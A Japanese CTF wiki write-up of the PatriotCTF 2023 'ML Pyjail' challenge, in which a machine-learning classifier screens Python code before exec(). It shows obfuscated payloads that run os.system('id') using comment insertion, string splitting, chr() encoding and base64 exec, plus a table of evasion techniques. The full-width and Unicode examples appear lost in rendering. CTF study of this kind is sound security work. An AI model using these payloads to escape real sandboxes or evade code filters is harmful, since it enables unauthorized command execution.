pyjail wiki

PatriotCTF 2023 - ML Pyjail

Challenge

機械学習モデルで悪意のあるコードを検出する pyjail。

import pickle
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
# 事前学習済みモデルをロード
model = pickle.load(open('model.pkl', 'rb'))
vectorizer = pickle.load(open('vectorizer.pkl', 'rb'))
code = input()
# ML で悪意のあるコードを検出
features = vectorizer.transform([code])
prediction = model.predict(features)
if prediction[0] == 'malicious':
print("Blocked by ML!")
exit()
exec(code)

Solution

分類器のバイパス

MLモデルは特定のパターンで学習されているため、それを回避:

  1. コメントや空白の追加
  2. 同義の別表現
  3. 文字列の分割・結合

難読化テクニック

# 通常のペイロード (検出される)
__import__('os').system('id')
# 難読化バージョン
# コメント追加
__import__( # comment
'os' # another comment
).system('id')
# 変数分割
a = 'o'
b = 's'
__import__(a+b).system('id')

chr() による回避

# 文字列をMLが認識できない形で構築
getattr(__builtins__, chr(101)+chr(118)+chr(97)+chr(108))(
chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)
)

Technical Details

ML 検出の弱点

  • トークン/n-gram ベースの特徴抽出は変形に弱い
  • 学習データにないパターンは検出できない
  • Unicode や エンコーディングの変形

一般的な回避策

テクニック
文字列分割'o' + 's'
コメント挿入import# \nos
空白追加import os
Unicodeos
エンコードchr(111)+chr(115)

Alternative Solutions

別解1: 全角文字

import os

別解2: base64

exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='))

Flag

PCTF{...}

References

  • PatriotCTF 2023 Official
  • Adversarial ML